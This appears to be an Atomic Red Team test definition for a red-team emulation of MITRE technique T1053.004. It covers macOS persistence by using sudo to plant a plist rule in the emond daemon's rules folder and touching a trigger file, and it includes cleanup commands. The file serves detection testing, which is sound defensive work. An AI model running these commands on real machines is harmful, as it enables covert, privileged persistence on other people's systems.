---
attack_technique: T1053.004
display_name: 'Scheduled Task/Job: Launchd'

atomic_tests:
- name: Event Monitor Daemon Persistence
  auto_generated_guid: 11979f23-9b9d-482a-9935-6fc9cd022c3e
  description: |
    This test adds persistence via a plist to execute via the macOS Event Monitor Daemon. 

  supported_platforms:
    - macos
  input_arguments:
    script_location:
      description: evil plist location
      type: Path
      default: $PathToAtomicsFolder/T1053.004/src/atomicredteam_T1053_004.plist
    script_destination:
      description: Path where to move the evil plist
      type: Path
      default: /etc/emond.d/rules/atomicredteam_T1053_004.plist
    empty_file:
      description: Random name of the empty file used to trigger emond service
      type: String
      default: randomflag
  executor:
    name: bash
    elevation_required: true
    command: |
      sudo cp #{script_location} #{script_destination}
      sudo touch /private/var/db/emondClients/#{empty_file}
    cleanup_command: |
      sudo rm #{script_destination}
      sudo rm /private/var/db/emondClients/#{empty_file}
